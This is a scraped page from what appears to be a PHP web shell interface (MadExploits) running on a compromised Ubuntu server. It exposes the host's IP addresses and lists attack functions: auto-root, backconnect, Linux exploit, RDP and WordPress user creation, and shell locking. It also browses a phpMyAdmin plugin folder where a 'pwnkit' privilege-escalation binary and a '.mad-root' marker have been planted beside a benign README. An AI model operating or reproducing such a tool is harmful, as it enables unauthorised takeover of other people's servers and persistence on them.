Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.188.90.83
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
src /
Plugins /
Export /
[ HOME SHELL ]
Name
Size
Permission
Action
Helpers
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
ExportCodegen.php
10.99
KB
-rw-r--r--
ExportCsv.php
10.94
KB
-rw-r--r--
ExportExcel.php
2.84
KB
-rw-r--r--
ExportHtmlword.php
19.83
KB
-rw-r--r--
ExportJson.php
9.67
KB
-rw-r--r--
ExportLatex.php
21.22
KB
-rw-r--r--
ExportMediawiki.php
11.83
KB
-rw-r--r--
ExportOds.php
11.91
KB
-rw-r--r--
ExportOdt.php
27.03
KB
-rw-r--r--
ExportPdf.php
8.85
KB
-rw-r--r--
ExportPhparray.php
7.3
KB
-rw-r--r--
ExportSql.php
97.54
KB
-rw-r--r--
ExportTexytext.php
17.7
KB
-rw-r--r--
ExportXml.php
16.26
KB
-rw-r--r--
ExportYaml.php
6.33
KB
-rw-r--r--
README.md
6.4
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# Export plugin creation This directory holds export plugins for phpMyAdmin. Any new plugin should basically follow the structure presented here. Official plugins need to have str* messages with their definition in language files, but if you build some plugins for your use, you can directly use texts in plugin. ```php <?php /** * [Name] export plugin for phpMyAdmin */ declare(strict_types=1); /** * Handles the export for the [Name] format */ class Export[Name] extends PhpMyAdmin\Plugins\ExportPlugin { /** * optional - declare variables and descriptions * * @var VariableType */ private $myOptionalVariable; /** * optional - declare global variables and descriptions * * @var VariableType */ private $globalVariableName; /** * Constructor */ public function __construct() { $this->setProperties(); } // optional - declare global variables and use getters later /** * Initialize the local variables that are used specific for export SQL * * @return void * * @global VariableType $global_variable_name * [..] */ protected function initSpecificVariables() { global $global_variable_name; $this->setGlobalVariableName($global_variable_name); } /** * Sets the export plugin properties. * Called in the constructor. * * @return void */ protected function setProperties() { $exportPluginProperties = new PhpMyAdmin\Properties\Plugins\ExportPluginProperties(); $exportPluginProperties->setText('[name]'); // the name of your plug-in $exportPluginProperties->setExtension('[ext]'); // extension this plug-in can handle $exportPluginProperties->setOptionsText(__('Options')); // create the root group that will be the options field for // $exportPluginProperties // this will be shown as "Format specific options" $exportSpecificOptions = new PhpMyAdmin\Properties\Options\Groups\OptionsPropertyRootGroup( 'Format Specific Options' ); // general options main group $generalOptions = new PhpMyAdmin\Properties\Options\Groups\OptionsPropertyMainGroup( 'general_opts' ); // optional : // create primary items and add them to the group // type - one of the classes listed in libraries/properties/options/items/ // name - form element name // text - description in GUI // size - size of text element // len - maximal size of input // values - possible values of the item $leaf = new PhpMyAdmin\Properties\Options\Items\RadioPropertyItem( 'structure_or_data' ); $leaf->setValues( [ 'structure' => __('structure'), 'data' => __('data'), 'structure_and_data' => __('structure and data'), ] ); $generalOptions->addProperty($leaf); // add the main group to the root group $exportSpecificOptions->addProperty($generalOptions); // set the options for the export plugin property item $exportPluginProperties->setOptions($exportSpecificOptions); $this->properties = $exportPluginProperties; } /** * Outputs export header * * @return bool Whether it succeeded */ public function exportHeader() { // implementation return true; } /** * Outputs export footer * * @return bool Whether it succeeded */ public function exportFooter() { // implementation return true; } /** * Outputs database header * * @param string $db Database name * @param string $dbAlias Aliases of db * * @return bool Whether it succeeded */ public function exportDBHeader($db, $dbAlias = '') { // implementation return true; } /** * Outputs database footer * * @param string $db Database name * * @return bool Whether it succeeded */ public function exportDBFooter($db) { // implementation return true; } /** * Outputs CREATE DATABASE statement * * @param string $db Database name * @param string $exportType 'server', 'database', 'table' * @param string $dbAlias Aliases of db * * @return bool Whether it succeeded */ public function exportDBCreate($db, $exportType, $dbAlias = '') { // implementation return true; } /** * Outputs the content of a table in [Name] format * * @param string $db database name * @param string $table table name * @param string $errorUrl the url to go back in case of error * @param string $sqlQuery SQL query for obtaining data * @param array $aliases Aliases of db/table/columns * * @return bool Whether it succeeded */ public function exportData( $db, $table, $errorUrl, $sqlQuery, array $aliases = [] ) { // implementation; return true; } // optional - implement other methods defined in PhpMyAdmin\Plugins\ExportPlugin.php: // - exportRoutines() // - exportStructure() // - getTableDefStandIn() // - getTriggers() // optional - implement other private methods in order to avoid // having huge methods or avoid duplicate code. Make use of them // as well as of the getters and setters declared both here // and in the PhpMyAdmin\Plugins\ExportPlugin class // optional: /* ~~~~~~~~~~~~~~~~~~~~ Getters and Setters ~~~~~~~~~~~~~~~~~~~~ */ /** * Getter description */ private function getMyOptionalVariable(): VariableType { return $this->myOptionalVariable; } /** * Setter description */ private function setMyOptionalVariable(VariableType $my_optional_variable): void { $this->myOptionalVariable = $my_optional_variable; } /** * Getter description */ private function getGlobalVariableName(): VariableType { return $this->globalVariableName; } /** * Setter description */ private function setGlobalVariableName(VariableType $global_variable_name): void { $this->globalVariableName = $global_variable_name; } } ```
Close